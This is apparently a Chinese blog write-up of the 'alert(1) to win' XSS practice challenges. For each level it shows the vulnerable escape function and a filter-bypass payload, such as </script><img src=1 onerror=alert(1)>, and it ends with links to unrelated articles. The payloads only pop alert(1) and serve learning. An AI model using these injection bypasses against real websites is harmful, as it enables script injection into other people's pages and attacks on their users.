alert(1) to win Part Ⅰ
alert(1) to win
Adobe:
function escape(s) {
s = s.replace(/"/g, '\\"');
return '<script>console.log("' + s + '");</script>';
}
此题将双引号转义为:\"。
如果输入");alert(1)//,则输出:<script>console.log("\");alert(1)//");</script>,将我们输入的带有恶意的双引号转义为 \", 多了个 \
构建payload:\");alert(1)//
输出:<script>console.log("\\");alert(1)//");</script>
JSON
function escape(s) {
s = JSON.stringify(s);
return '<script>console.log(' + s + ');</script>';
}
JSON.stringify()将 \ 和 " 都转义了,只能:
</script><script>alert(1)//
Markdown
function escape(s) {
var text = s.replace(/</g, '<').replace(/"/g, '"');
// URLs
text = text.replace(/(http:\/\/\S+)/g, '<a href="$1">$1</a>');
// [[img123|Description]]
text = text.replace(/\[\[(\w+)\|(.+?)\]\]/g, '<img alt="$2" src="$1.gif">');
return text;
}

分析:过滤消除了<和"的隐患(他俩可扰乱正常的标签解析和属性的闭合),但又新引入了<、>、" 。


DOM
function escape(s) {
// Slightly too lazy to make two input fields.
// Pass in something like "TextNode#foo"
var m = s.split(/#/);
// Only slightly contrived at this point.
var a = document.createElement('div');
a.appendChild(document['create'+m[0]].apply(document, m.slice(1)));
return a.innerHTML;
}
这题让我们学到:遇到实在弄不明白的代码可以放进控制台实验一下。
先看代码,根据DOM的知识,大概意思是建立一个div元素,将输入的语句拼接到新的div元素里面。用#将输入分割成两部分,前面一部分接document.creatxxxxx(比如你输入Element,那么前面的document['create'+m[0]]就等价为document.createElement ),后面一部分为内容(至于是什么内容根据前面的标签而定。)在控制台实验如下:

createTextNode() 创建的是文本节点,不能解析成html元素标签,也就无法触发一些 on* 事件。
createComment()没有将<、>编码,故可使用 --> 闭合注释。
payload:Comment#--><script>alert(1)</script>
Callback
function escape(s) {
// Pass inn "callback#userdata"
var thing = s.split(/#/);
if (!/^[a-zA-Z\[\]']*$/.test(thing[0])) return 'Invalid callback';
var obj = {'userdata': thing[1] };
var json = JSON.stringify(obj).replace(/</g, '\\u003c');
return "<script>" + thing[0] + "(" + json +")</script>";
}
两边的双引号弄掉了中间乱七八糟一大段,然后以;作为前面部分的总结,照常用//过滤掉后面的双引号。
payload:'#';alert(1)//
Skandia
function escape(s) {
return '<script>console.log("' + s.toUpperCase() + '")</script>';
}
代码很简单,就是把输入的字母全部变成大写。

使用jsfuck将alert(1)编码为下面的可执行内容

或者:
先用一个标签闭合前面的(html标签对大小写不敏感)。
中间再构造一个可以执行的alert(1)的标签就行了。
payload:</script><script src=data:text/html,%61%6c%65%72%74(1)>使用 Data URI,插入一个 html 文档。
payload:</script><img src=1 onerror=alert(1)>使用HTML字符实体。
Template
function escape(s) {
function htmlEscape(s) {
return s.replace(/./g, function(x) {
return { '<': '<', '>': '>', '&': '&', '"': '"', "'": ''' }[x] || x;
});
}
function expandTemplate(template, args) {
return template.replace(
/{(\w+)}/g,
function(_, n) {
return htmlEscape(args[n]);
});
}
return expandTemplate(
" \n\
<h2>Hello, <span id=name></span>!</h2> \n\
<script> \n\
var v = document.getElementById('name'); \n\
v.innerHTML = '<a href=#>{name}</a>'; \n\
<\/script> \n\
",
{ name : s }
);
}
代码将输入的字符串中<、>、^、"、',进行转换后保存于变量name,再将变量拼接到<a href=#>{name}</a>其上下文环境是 javascript ,js编码即可,16进制、8进制或unicode。
payload:\x3cimg src=' onerror=alert(1)//
JSON2
function escape(s) {
s = JSON.stringify(s).replace(/<\/script/gi, '');
return '<script>console.log(' + s + ');</script>';
}
词条只需要绕过正则即可,该正则匹配</script不分大小写,匹配任意次。
payload:</scr</scriptipt><script>alert(1)//
alert(1) to win Part Ⅰ的更多相关文章
- 【alert(1) to win】不完全攻略
alert(1) to win 一个练习XSS的平台,地址:https://alf.nu/alert1 Warmup 给出了一段JavaScript代码 function escape(s) { re ...
- 【20171027中】alert(1) to win 第13,14,15,16题
第13题 题目: function escape(s) { var tag = document.createElement('iframe'); // For this one, you get t ...
- 【20171027早】alert(1) to win 第9,10,11,12题
人在江湖,不服就干! 第9题: function escape(s) { function htmlEscape(s) { return s.replace(/./g, function(x) { r ...
- 【20171026早】alert(1) to win - 第六、七、八题
早上7点起床,又写了一篇小说发在了起点网上,有兴趣的可以看看.点击这里 忙完后,继续练习,刚开始发现自己答题的速度有些慢,可能是因为对于html,javascript知识不是很精通,但是话又说回来,谁 ...
- 【20171025晚】alert(1) to win 第五题 正则表达式过滤
吃过晚饭,再练一题 第五题 function escape(s) { var text = s.replace(/</g, '<').replace(/"/g, '"' ...
- 【20171025中】alert(1) to win 脚本渲染自建
游戏误人生,一下午玩了将近四个小时的三国杀,后悔不已,然后重新拾起xss challenge,突发奇想,自己构建渲染后的html. 从最简单的开始. 自动检测html: <!DOCTYPE ht ...
- 【20171025早】alert(1) to win 练习
本人黑绝楼,自称老黑,男,25岁,曾经在BAT工作过两年,但是一直都是底层人员,整天做重复性工作,甚敢无趣,曾和工作十年之久的同事聊天,发现对方回首过往,生活是寡淡如水,只有机械性工作.旋即老黑毅然决 ...
- alert(1) to win部分解题
XSS在线习题分析 (https://alf.nu/alert1) 1. Warmup function escape(s) { return '<script>console.log(& ...
- "alert(1) to win" writeup
地址:http://escape.alf.nu/ level 0: 注意补全,");alert(1)// level 1: 通过添加反斜线使用来转义的反斜线变为字符,\");ale ...
随机推荐
- (十二)maven-surefire-plugin,用于自动化测试和单元测试的
原文链接:https://www.bbsmax.com/A/n2d9WPwJDv/ 1.简介 如果你执行过mvn test或者执行其他maven命令时跑了测试用例,你就已经用过maven-surefi ...
- Android SDK 安装与配置
1.下载sdk包 链接:https://pan.baidu.com/s/1Og8F02YBJn59LPWsJwkjUA 提取码:byu1 复制这段内容后打开百度网盘手机App,操作更方便哦 2.解压 ...
- macos的两个快捷键和一个小tip
学校的linux协会介绍了一个免费的light轻量级加速器,昨天晚上十点左右的时候着手研究,发现其实就是一个代理服务器.在配置这个代理服务器的时候碰到了一些困难并最终都解决了.下面记录一下配置过程学到 ...
- Spring Data 教程 - Redis
1. Redis简介 Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写.支持网络.可基于内存亦可持久化的日志型.Key-Value ...
- 10.DRF-认证
Django rest framework源码分析(1)----认证 一.基础 1.1.安装 两种方式: github pip直接安装 pip install djangorestframework ...
- JavaWeb网上图书商城完整项目--day02-6.ajax校验功能之页面实现
1 .现在我们要在regist.js中实现ajax的功能,使用用户名到后台查询是否注册,邮箱是否到后台注册,验证码是否正确的功能 我们来看regist.js的代码 //该函数在html文档加载完成之后 ...
- junit基本介绍视频笔记1
程序员每天工作的基本流程: 1.从svn检出代码: 2.运行单元测试,测试无误,进入下一步: 3.开始一天的代码编写工作: 4.代码提交到服务器之前进行单元测试: 5.单元测试通过提交到svn服务器. ...
- 基于AOP和ThreadLocal实现日志记录
基于AOP和ThreadLocal实现的一个日志记录的例子 主要功能实现 : 在API每次被请求时,可以在整个方法调用链路中记录一条唯一的API请求日志,可以记录请求中绝大部分关键内容.并且可以自定义 ...
- C# @string $string $@string
@string 保证换行后也属于同一个字符串 (请特别注意\r\n这样也会直接输入,不在起到换行的效果) string execSql = @" SELECT T1.ProcInstID ...
- ES11来了,还学得动吗?
写在前面 ES2020(即 ES11)上周(2020 年 6 月)已经正式发布,在此之前进入 Stage 4 的 10 项提案均已纳入规范,成为 JavaScript 语言的新特性 一.特性一览 ES ...